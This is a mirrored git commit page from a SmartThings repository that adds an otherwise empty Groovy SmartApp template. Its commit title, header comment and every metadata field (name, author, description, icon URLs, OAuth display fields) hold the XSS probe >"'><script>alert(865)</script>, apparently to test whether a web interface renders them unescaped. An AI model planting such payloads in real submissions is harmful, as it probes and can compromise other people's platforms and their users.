mirror of
https://github.com/mtan93/SmartThingsPublic.git
synced 2026-03-14 21:03:19 +00:00
MSA-1369: <script>alert('XSS')</script>
This commit is contained in:
@@ -0,0 +1,51 @@
|
||||
/**
|
||||
* >"'><script>alert(865)</script>
|
||||
*
|
||||
* Copyright 2016 >"'><script>alert(865)</script>
|
||||
*
|
||||
* Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except
|
||||
* in compliance with the License. You may obtain a copy of the License at:
|
||||
*
|
||||
* http://www.apache.org/licenses/LICENSE-2.0
|
||||
*
|
||||
* Unless required by applicable law or agreed to in writing, software distributed under the License is distributed
|
||||
* on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License
|
||||
* for the specific language governing permissions and limitations under the License.
|
||||
*
|
||||
*/
|
||||
definition(
|
||||
name: ">"'><script>alert(865)</script>",
|
||||
namespace: ">"'><script>alert(865)</script>",
|
||||
author: ">"'><script>alert(865)</script>",
|
||||
description: ">\"'><script>alert(865)</script>",
|
||||
category: "",
|
||||
iconUrl: ">"'><script>alert(865)</script>",
|
||||
iconX2Url: ">"'><script>alert(865)</script>",
|
||||
iconX3Url: ">"'><script>alert(865)</script>",
|
||||
oauth: [displayName: ">"'><script>alert(865)</script>", displayLink: ">"'><script>alert(865)</script>"])
|
||||
|
||||
|
||||
preferences {
|
||||
section("Title") {
|
||||
// TODO: put inputs here
|
||||
}
|
||||
}
|
||||
|
||||
def installed() {
|
||||
log.debug "Installed with settings: ${settings}"
|
||||
|
||||
initialize()
|
||||
}
|
||||
|
||||
def updated() {
|
||||
log.debug "Updated with settings: ${settings}"
|
||||
|
||||
unsubscribe()
|
||||
initialize()
|
||||
}
|
||||
|
||||
def initialize() {
|
||||
// TODO: subscribe to attributes, devices, locations, etc.
|
||||
}
|
||||
|
||||
// TODO: implement event handlers
|
||||
Reference in New Issue
Block a user